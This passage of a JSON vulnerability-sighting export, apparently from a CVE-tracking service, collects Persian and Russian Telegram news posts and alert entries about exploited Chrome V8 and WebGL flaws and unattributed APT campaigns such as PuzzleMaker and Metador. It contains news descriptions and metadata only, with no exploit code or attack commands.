\u0628\u0648\u062a \u0644\u0648\u062f\u0631 \u0627\u0633\u062a \u06a9\u0647 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u06cc\u06a9 \u0627\u0631\u0627\u0626\u0647 \u062f\u0647\u0646\u062f\u0647 \u067e\u0634\u062a\u06cc\u0628\u0627\u0646\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0627\u06cc\u062c\u0627\u062f \u0634\u062f\u0647 \u0627\u0633\u062a. \u0647\u062f\u0641 \u0627\u0635\u0644\u06cc \u0622\u0646 \u0627\u0631\u0627\u0626\u0647 \u06cc\u06a9 \u0645\u0627\u0698\u0648\u0644 \u0645\u0631\u062d\u0644\u0647 \u0628\u0639\u062f\u06cc \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u0631\u062c\u06cc\u0633\u062a\u0631\u06cc \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u062f \u0648 \u0627\u0632 \u06cc\u06a9 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc VirtualBox \u0628\u0631\u0627\u06cc \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u06cc\u06a9 \u062f\u0631\u0627\u06cc\u0648\u0631 \u0645\u062e\u0631\u0628 \u062f\u0631 \u062d\u0627\u0644\u062a \u0647\u0633\u062a\u0647 \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc \u06a9\u0646\u062f.\n 10. Metador \u0627\u0648\u0644\u06cc\u0646 \u0628\u0627\u0631 \u062a\u0648\u0633\u0637 SentinelLabs \u062f\u0631 \u0633\u067e\u062a\u0627\u0645\u0628\u0631 2022 \u062a\u0648\u0635\u06cc\u0641 \u0634\u062f. \u0628\u0647 \u0627\u0631\u0627\u0626\u0647 \u062f\u0647\u0646\u062f\u06af\u0627\u0646 \u0648 \u062f\u0627\u0646\u0634\u06af\u0627\u0647 \u0647\u0627 \u062f\u0631 \u062e\u0627\u0648\u0631\u0645\u06cc\u0627\u0646\u0647 \u0648 \u0622\u0641\u0631\u06cc\u0642\u0627 \u062d\u0645\u0644\u0647 \u0645\u06cc \u06a9\u0646\u062f. Metador \u0627\u0632 \u062f\u0648 \u067e\u0644\u062a\u0641\u0631\u0645 \u0645\u062e\u0631\u0628 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc \u06a9\u0646\u062f: metaMain \u0648 Mafalda \u06a9\u0647 \u0645\u0646\u062d\u0635\u0631\u0627\u064b \u062f\u0631 \u062d\u0627\u0641\u0638\u0647 \u0645\u0633\u062a\u0642\u0631 \u0645\u06cc \u0634\u0648\u0646\u062f \u0648 \u062f\u0627\u062f\u0647 \u0647\u0627 \u0631\u0627 \u0628\u0627 \u0633\u0627\u06cc\u0631 \u0627\u06cc\u0645\u067e\u0644\u0646\u062a \u0647\u0627\u06cc \u0646\u0627\u0634\u0646\u0627\u062e\u062a\u0647 \u0628\u0647 \u0627\u0634\u062a\u0631\u0627\u06a9 \u0645\u06cc \u06af\u0630\u0627\u0631\u0646\u062f.\n\n\ud83d\udc6e\u200d\u2640\ufe0f\ud83d\udc6e\u200d\u2640\ufe0f \u0628\u0627\u0632\u0646\u0634\u0631 \u0645\u0637\u0627\u0644\u0628 \u0627\u06cc\u0646 \u06a9\u0627\u0646\u0627\u0644 \u0635\u0631\u0641\u0627 \u0628\u0627 \u0630\u06a9\u0631 \u0645\u0646\u0628\u0639 \u0648 \u0622\u062f\u0631\u0633 \u06a9\u0627\u0645\u0644 \u06a9\u0627\u0646\u0627\u0644 \u0645\u062c\u0627\u0632 \u0645\u06cc\u0628\u0627\u0634\u062f.\n\n\ud83c\udfed\u0648\u0628\u0633\u0627\u06cc\u062a \u0648 \u06a9\u0627\u0646\u0627\u0644 \u062a\u062e\u0635\u0635\u06cc \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u0647\u0627\u06cc \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0635\u0646\u0639\u062a\u06cc\n\n\u0627\u062f\u0645\u06cc\u0646:\nhttps://t.me/pedram_kiani\n\u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ics_cert\n\u062a\u0648\u06cc\u06cc\u062a\u0631:\nhttps://twitter.com/icscerti", "creation_timestamp": "2022-10-13T16:06:33.000000Z"}, {"uuid": "3a99efd5-700c-4a68-ba9e-65682b406f5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "exploited", "source": "https://t.me/cyberbannews_ir/3407", "content": "\u200d \ud83d\uded1\u0631\u0641\u0639 \u0647\u0641\u062a\u0645\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0648\u0632 \u0635\u0641\u0631 \u062f\u0631 \u0645\u0631\u0648\u0631\u06af\u0631 \u06a9\u0631\u0648\u0645 \n\n\u0634\u0631\u06a9\u062a \u06af\u0648\u06af\u0644 \u0628\u0647\u200c\u062a\u0627\u0632\u06af\u06cc \u0645\u0631\u0648\u0631\u06af\u0631 \u06a9\u0631\u0648\u0645 \u0631\u0627 \u062a\u0627 \u0646\u0633\u062e\u0647 91.0.4472.114 \u0627\u0631\u062a\u0642\u0627\u0621 \u062f\u0627\u062f\u0647 \u0648 4 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0631\u0637\u0631\u0641 \u06a9\u0631\u062f \u06a9\u0647 \u06cc\u06a9\u06cc \u0627\u0632 \u0622\u0646\u200c\u0647\u0627 \u0632\u06cc\u0631\u0648\u062f\u06cc \u0628\u0648\u062f\u0647 \u0648 \u0628\u0627 \u0634\u0646\u0627\u0633\u0647 \u00abCVE-2021-30554\u00bb \u0634\u0646\u0627\u062e\u062a\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f.\n\n\u06a9\u0627\u0631\u0634\u0646\u0627\u0633\u0627\u0646 \u06af\u0648\u06af\u0644 \u0647\u0634\u062f\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u0627\u0646\u062f \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a \u0641\u0639\u0627\u0644 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0627 \u062f\u0631 \u0627\u062e\u062a\u06cc\u0627\u0631 \u062f\u0627\u0631\u0646\u062f \u0648 \u062d\u0645\u0644\u0627\u062a \u062e\u0648\u062f \u0631\u0627 \u0628\u0627 \u0628\u0647\u0631\u0647\u200c\u06af\u06cc\u0631\u06cc \u0627\u0632 \u0622\u0646 \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f. \n\n\u0627\u06cc\u0646 \u06cc\u06a9 \u0646\u0642\u0635 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0627\u0632 \u0646\u0648\u0639 use-after-free \u062f\u0631 \u062a\u0631\u06a9\u06cc\u0628 WebGL (Web Graphics Library) JavaScript API \u0627\u0633\u062a \u06a9\u0647 \u062c\u0647\u062a \u0631\u0646\u062f\u0631\u06cc\u0646\u06af \u06af\u0631\u0627\u0641\u06cc\u06a9\u200c\u0647\u0627\u06cc \u062a\u0639\u0627\u0645\u0644\u06cc 2D \u0648 3D \u0628\u062f\u0648\u0646 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u067e\u0644\u0627\u06af\u06cc\u0646\u200c\u0647\u0627 \u0645\u0648\u0631\u062f\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u06af\u06cc\u0631\u062f. \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0622\u0646 \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u0645\u0646\u062c\u0631 \u0628\u0647 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u062f\u0644\u062e\u0648\u0627\u0647 \u062f\u0631 \u0631\u0627\u06cc\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0628\u0627 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 \u06a9\u0631\u0648\u0645 \u06af\u0631\u062f\u062f. \n\n\u0646\u0645\u0627\u06cc\u0646\u062f\u06af\u0627\u0646 \u06af\u0648\u06af\u0644 \u0627\u0639\u0644\u0627\u0645 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0648 \u0644\u06cc\u0646\u06a9\u200c\u0647\u0627 \u062a\u0627 \u0632\u0645\u0627\u0646\u06cc \u06a9\u0647 \u0627\u06a9\u062b\u0631 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0646\u0633\u062e\u0647 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0631\u0627 \u0646\u0635\u0628 \u0646\u06a9\u0646\u0646\u062f\u060c \u0645\u062d\u062f\u0648\u062f \u0634\u0648\u062f. \u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0627\u06cc\u0646\u060c \u0686\u0646\u0627\u0646\u0686\u0647 \u0627\u0634\u06a9\u0627\u0644\u06cc \u062f\u0631 \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647 \u062b\u0627\u0644\u062b \u0648\u062c\u0648\u062f \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u062f \u06a9\u0647 \u0633\u0627\u06cc\u0631 \u0628\u062e\u0634\u200c\u0647\u0627 \u0628\u0647 \u0631\u0648\u0634 \u0645\u0634\u0627\u0628\u0647 \u0628\u0647 \u0622\u0646 \u0648\u0627\u0628\u0633\u062a\u0647 \u0628\u0627\u0634\u0646\u062f \u0648 \u0647\u0646\u0648\u0632 \u0628\u0631\u0637\u0631\u0641 \u0646\u0634\u062f\u0647 \u0628\u0627\u0634\u062f\u060c \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u0645\u062d\u062f\u0648\u062f\u06cc\u062a\u200c\u0647\u0627\u06cc \u0645\u0634\u0627\u0628\u0647 \u0627\u0639\u0645\u0627\u0644 \u0634\u0648\u0646\u062f. \n\n\u0627\u06cc\u0646 \u0646\u0642\u0635 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0647\u0641\u062a\u0645\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0648\u0632 \u0635\u0641\u0631\u06cc \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u0633\u0627\u0644 2021 \u0627\u0632 \u06a9\u0631\u0648\u0645 \u0628\u0631\u0637\u0631\u0641 \u0634\u062f\u0647 \u0627\u0633\u062a. \u067e\u06cc\u0634\u200c\u062a\u0631 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc CVE-2021-21148\u060c CVE-2021-21166\u060c CVE-2021-21193\u060c CVE-2021-21220 \u0648 CVE-2021-30551 \u0646\u06cc\u0632 \u0627\u0632 \u0627\u06cc\u0646 \u0645\u0631\u0648\u0631\u06af\u0631 \u0628\u0631\u0637\u0631\u0641 \u0634\u062f\u0647\u200c\u0627\u0646\u062f. \n\n\u0634\u0634\u0645\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0648\u0632 \u0635\u0641\u0631 \u0646\u06cc\u0632 \u0686\u0646\u062f \u0631\u0648\u0632 \u067e\u06cc\u0634 \u0648\u0635\u0644\u0647 \u0634\u062f. \u06af\u0648\u06af\u0644 \u0645\u0631\u0648\u0631\u06af\u0631 \u06a9\u0631\u0648\u0645 \u0631\u0627 \u0628\u0631\u0627\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632\u060c \u0645\u06a9 \u0648 \u0644\u06cc\u0646\u0648\u06a9\u0633 \u062a\u0627 \u0646\u0633\u062e\u0647 91.0.4472.101 \u0628\u0647 \u0631\u0633\u0627\u0646\u06cc \u06a9\u0631\u062f\u0647 \u0648 \u0628\u0627 \u0631\u0641\u0639 14 \u0646\u0642\u0635 \u0627\u0645\u0646\u06cc\u062a\u06cc \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0648\u0632 \u0635\u0641\u0631 \u0628\u0627 \u0634\u0646\u0627\u0633\u0647 \u00abCVE-2021-30551\u00bb \u0631\u0627 \u0646\u06cc\u0632 \u0628\u0631\u0637\u0631\u0641 \u0646\u0645\u0648\u062f. \n\n#\u06af\u0648\u06af\u0644 \n\n@cyberbannews_ir", "creation_timestamp": "2021-06-19T11:23:57.000000Z"}, {"uuid": "2252449d-a354-4da2-809e-5a34b1db006d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "seen", "source": "Telegram/lEeStj0OZ_j1UcQuinnaFJR_KxYfADyi7hZ8BCIChHXPneXd", "content": "", "creation_timestamp": "2025-02-06T02:39:17.000000Z"}, {"uuid": "81682fd5-d4be-4161-9a59-5ddfed0166c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "seen", "source": "https://t.me/arpsyndicate/1043", "content": "#ExploitObserverAlert\n\nCVE-2021-21220\n\nDESCRIPTION: Exploit Observer has 15 entries related to CVE-2021-21220. Insufficient validation of untrusted input in V8 in Google Chrome prior to 89.0.4389.128 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.\n\nFIRST-EPSS: 0.969930000\nNVD-IS: 5.9\nNVD-ES: 2.8", "creation_timestamp": "2023-12-03T22:21:40.000000Z"}, {"uuid": "f1e4fed1-c9db-4736-9bdb-b06add5f822a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21224", "type": "seen", "source": "https://t.me/arpsyndicate/1013", "content": "#ExploitObserverAlert\n\nCVE-2021-21224\n\nDESCRIPTION: Exploit Observer has 20 entries related to CVE-2021-21224. Type confusion in V8 in Google Chrome prior to 90.0.4430.85 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.\n\nFIRST-EPSS: 0.736520000\nNVD-IS: 5.9\nNVD-ES: 2.8", "creation_timestamp": "2023-12-03T19:43:13.000000Z"}, {"uuid": "7b9c45c5-0b29-43dc-b048-dc53ae97372e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "published-proof-of-concept", "source": "Telegram/2dsElP1Fjddomytu9kID6ScdoihTxrPBzccOPbh1tn-tpfu7", "content": "", "creation_timestamp": "2021-12-09T18:56:39.000000Z"}, {"uuid": "54a184a7-0689-4af8-b562-cb267424cc03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21224", "type": "seen", "source": "https://t.me/cyberguerre/760", "content": "\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u044f \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432 \u0441\u0432\u043e\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043f\u0440\u043e\u043b\u0438\u0432\u0430\u0435\u0442 \u0441\u0432\u0435\u0442 \u043d\u0430 10 \u0441\u0430\u043c\u044b\u0445 \u0437\u0430\u0433\u0430\u0434\u043e\u0447\u043d\u044b\u0445 APT-\u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0439, \u043e\u0441\u0442\u0430\u0432\u0448\u0438\u0445\u0441\u044f \u0431\u0435\u0437 \u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u0438.\n\n 1. \u041f\u0440\u043e\u0435\u043a\u0442 TajMahal. \u0421\u043b\u043e\u0436\u043d\u044b\u0439 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a \u0434\u043b\u044f \u0448\u043f\u0438\u043e\u043d\u0430\u0436\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 Tokyo \u0438 Yokohama. \u041c\u043e\u0436\u0435\u0442 \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0431\u043e\u043b\u0435\u0435 80 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u0435\u0439. TajMahal \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u0441\u044f \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c 5 \u043b\u0435\u0442 \u0434\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0432 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0435 \u043d\u0430 \u0434\u0438\u043f\u043b\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044e.\n\n 2. DarkUniverse\u00a0\u2014 \u0435\u0449\u0435 \u043e\u0434\u0438\u043d APT-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u0441 2009 \u043f\u043e 2017\u00a0\u0433\u043e\u0434\u00a0\u0432 \u0445\u043e\u0434\u0435 \u0430\u0442\u0430\u043a \u043d\u0430 20 \u0433\u0440\u0430\u0436\u0434\u0430\u043d\u0441\u043a\u0438\u0445 \u0438 \u0432\u043e\u0435\u043d\u043d\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0432 \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0442\u0440\u0430\u043d\u0430\u0445. \u0420\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0444\u0438\u0448\u0438\u043d\u0433 \u0438 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 \u0434\u043b\u044f \u0448\u043f\u0438\u043e\u043d\u0430\u0436\u0430.\n\n 3. PuzzleMaker. \u0412 \u0430\u043f\u0440\u0435\u043b\u0435 2021\u00a0\u0433\u043e\u0434\u0430 \u0440\u0435\u0441\u0435\u0440\u0447\u0435\u0440\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0430\u0442\u0430\u043a \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0441\u043b\u043e\u0436\u043d\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0438\u0437 0-day \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432. \u0414\u043b\u044f \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c CVE-2021-21224 \u0432 Google Chrome \u0432 \u0441\u0432\u044f\u0437\u043a\u0435 \u0441  CVE-2021-31955 \u0438 CVE-2021-31956. \u041f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432\u043d\u0435\u0434\u0440\u044f\u043b\u0441\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0441\u043b\u0443\u0447\u0430\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 PuzzleMaker.\n\n 4. ProjectSauron \u0431\u044b\u043b \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u0432 2015. \u042f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u043b\u043e\u0436\u043d\u043e\u0439 APT-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u043e\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0420\u043e\u0441\u0441\u0438\u0438, \u0418\u0440\u0430\u043d\u0435, \u0420\u0443\u0430\u043d\u0434\u0435. \u0412 \u0430\u0442\u0430\u043a\u0430\u0445 \n\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u044b. \u0413\u0440\u0443\u043f\u043f\u0430, \u0441\u0442\u043e\u044f\u0449\u0430\u044f \u0437\u0430 ProjectSauron, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u043b\u043e\u0436\u043d\u0443\u044e \u04212-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0441 \u0448\u0438\u0440\u043e\u043a\u0438\u043c \u0440\u044f\u0434\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u0432 \u0421\u0428\u0410 \u0438 \u0415\u0432\u0440\u043e\u043f\u0435. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043e\u043f\u044b\u0442 \u0434\u0440\u0443\u0433\u0438\u0445 APT-\u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0439, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a Duqu, Flame, Equation \u0438 Regin.\n\n 5. USB Thief. \u0412 2016\u00a0\u0433\u043e\u0434\u0443 ESET \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 USB-\u0442\u0440\u043e\u044f\u043d\u0435\u0446 \u0441 \u0445\u0438\u0442\u0440\u044b\u043c \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c \u0441\u0430\u043c\u043e\u0437\u0430\u0449\u0438\u0442\u044b. \u0417\u043b\u043e\u0432\u0440\u0435\u0434 \u0441\u043e\u0441\u0442\u043e\u044f\u043b \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0434\u0432\u0430 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0431\u044b\u043b\u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u043c\u0438, \u0430 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0447\u0435\u0442\u044b\u0440\u0435\u00a0\u2014 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c\u0438. \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0437\u0430\u0434\u0430\u043d\u043d\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435, \u0430 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u043e \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u0443 AES-128. \u041a\u043b\u044e\u0447 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0441\u044f \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 USB-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0432\u043e\u0439\u0441\u0442\u0432 \u0434\u0438\u0441\u043a\u0430. \u0422\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0445 \u0444\u0430\u0439\u043b\u0430\u00a0\u2014 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0438, \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u0444\u0430\u0439\u043b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u044d\u0442\u0430\u043f\u0430. \u0423\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u0441\u0435\u0433\u0434\u0430 \u0432\u044b\u0433\u0440\u0443\u0436\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0439 USB-\u0434\u0438\u0441\u043a. \u041c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d \u0441 APT-\u0433\u0440\u0443\u043f\u043f\u043e\u0439 Lamberts.\n\n 6. TENSHO (White Tur). \u0412 \u043d\u0430\u0447\u0430\u043b\u0435 2021\u00a0\u0433\u043e\u0434\u0430 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u043f\u043e\u0438\u0441\u043a\u0430 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u0441\u0442\u0440\u0430\u043d\u0438\u0446, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 PwC \u043d\u0430\u0442\u043a\u043d\u0443\u043b\u0438\u0441\u044c \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 